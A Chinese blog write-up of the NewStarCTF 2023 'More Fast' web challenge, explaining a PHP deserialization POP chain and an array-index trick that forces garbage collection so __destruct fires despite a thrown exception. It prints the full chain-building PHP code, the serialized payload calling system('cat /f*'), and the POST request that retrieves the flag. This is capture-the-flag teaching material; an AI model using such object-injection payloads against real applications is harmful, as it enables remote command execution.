• NewStarCTF2023week4-More Fast(GC回收)


    打开链接,存在很多个类,很明显是php反序列化漏洞利用,需要构造pop链 ,

    关于pop链构造的详细步骤教学,请参考我之前的博客,真的讲得很详细也容易理解:

    http://t.csdnimg.cn/wMYNB

    如果你是刚接触php反序列化利用的题,那么建议先看基础的原理知识:

    http://t.csdnimg.cn/xhqzq

    http://t.csdnimg.cn/jzQjt

    http://t.csdnimg.cn/IHpEq

    由于这道题还出现了

    throw new Exception("Nope");

    这个throw就是GC回收(垃圾回收机制),这里需要绕过它。

    首先我们需要知道:

    在php中,当对象被销毁时会自动调用__destruct()方法,但如果程序报错或者抛出异常,就不会触发该魔术方法。

    当一个类创建之后它会自己消失,而 __destruct() 魔术方法的触发条件就是一个类被销毁时触发,而throw那个函数就是回收了自动销毁的类,导致destruct检测不到有东西销毁,从而也就导致无法触发destruct函数。

    我们可以通过提前触发垃圾回收机制来抛出异常,从而绕过GC回收,唤醒__destruct()魔术方法。

    触发垃圾回收机制的方法有:(本质即使对象引用计数归零)

    (1)对象被unset()处理时,可以触发。

    (2)数组对象为NULL时,可以触发。

    我们先正常构造pop链:

    关于pop链的构造和标注真的看我之前那篇博客肯定能懂

    1. class Start{
    2. public $errMsg; // 5 Crypto
    3. public function __destruct() {
    4. die($this->errMsg);
    5. }
    6. }
    7. class Pwn{
    8. public $obj; // 2 Web
    9. public function __invoke(){
    10. $this->obj->evil();
    11. }
    12. public function evil() {
    13. phpinfo();
    14. }
    15. }
    16. class Reverse{
    17. public $func; // 3 Pwn
    18. public function __get($var) {
    19. ($this->func)();
    20. }
    21. }
    22. class Web{
    23. public $func; // 1 system
    24. public $var; // 1 cat /f*
    25. public function evil() {
    26. if(!preg_match("/flag/i",$this->var)){
    27. ($this->func)($this->var);
    28. }else{
    29. echo "Not Flag";
    30. }
    31. }
    32. }
    33. class Crypto{
    34. public $obj; // 4 Reverse
    35. public function __toString() {
    36. $wel = $this->obj->good;
    37. return "NewStar";
    38. }
    39. }
    40. class Misc{
    41. public function evil() {
    42. echo "good job but nothing";
    43. }
    44. }
    45. $w = new Web();
    46. $w->func = 'system';
    47. $w->var = 'cat /f*';
    48. $p = new Pwn();
    49. $p->obj = $w;
    50. $r = new Reverse();
    51. $r->func = $p;
    52. $c = new Crypto();
    53. $c->obj = $r;
    54. $s = new Start();
    55. $s->errMsg = $c;
    56. echo serialize($s);
    57. ?>

    我们使用第二中方法(数组对象为NULL)绕过GC回收:

    1. class Start{
    2. public $errMsg; // 5 Crypto
    3. public function __destruct() {
    4. die($this->errMsg);
    5. }
    6. }
    7. class Pwn{
    8. public $obj; // 2 Web
    9. public function __invoke(){
    10. $this->obj->evil();
    11. }
    12. public function evil() {
    13. phpinfo();
    14. }
    15. }
    16. class Reverse{
    17. public $func; // 3 Pwn
    18. public function __get($var) {
    19. ($this->func)();
    20. }
    21. }
    22. class Web{
    23. public $func; // 1 system
    24. public $var; // 1 cat /f*
    25. public function evil() {
    26. if(!preg_match("/flag/i",$this->var)){
    27. ($this->func)($this->var);
    28. }else{
    29. echo "Not Flag";
    30. }
    31. }
    32. }
    33. class Crypto{
    34. public $obj; // 4 Reverse
    35. public function __toString() {
    36. $wel = $this->obj->good;
    37. return "NewStar";
    38. }
    39. }
    40. class Misc{
    41. public function evil() {
    42. echo "good job but nothing";
    43. }
    44. }
    45. $w = new Web();
    46. $w->func = 'system';
    47. $w->var = 'cat /f*';
    48. $p = new Pwn();
    49. $p->obj = $w;
    50. $r = new Reverse();
    51. $r->func = $p;
    52. $c = new Crypto();
    53. $c->obj = $r;
    54. $s = new Start();
    55. $s->errMsg = $c;
    56. $b=array($s,0);
    57. echo serialize($b);
    58. ?>

    运行得到:

    a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:1;i:0;} 

    我们将最后的 i:1 替换为 i:0

    即:

    a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:0;i:0;} 

    构造payload:

    post:fast=a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:0;i:0;} 

    拿到flag

    flag{558eb633-8715-4922-8201-f8402343b140} 

    当然这里保险一点的做法是先执行 ls 命令,然后再使用 ../../../ 进行目录穿越 ,找到flag所在目录,再进行 cat,并且这里过滤了关键字 flag,因此我们使用通配符 * 进行匹配。

    只是说一般 flag 都在根目录下,所以我直接 cat /f*。

  • 相关阅读:
    STM32+ MAX30102通过指尖测量心率+血氧饱和度
    rust学习-any中的downcast和downcast_ref
    第四届“传智杯”全国大学生IT技能大赛(初赛A组) 补题
    探讨 volatile 关键字
    TouchGFX界面开发 | 按钮控件应用示例
    BIM分享 | 建筑BIM应用中,那些有趣的事
    vue render里面阻止事件冒泡
    Lesson12——NumPy 字符串函数之 Part1:字符串操作函数
    vue中对token的有效期的理解
    带你了解MySQL数据库(二)
  • 原文地址:https://blog.csdn.net/Myon5/article/details/134018456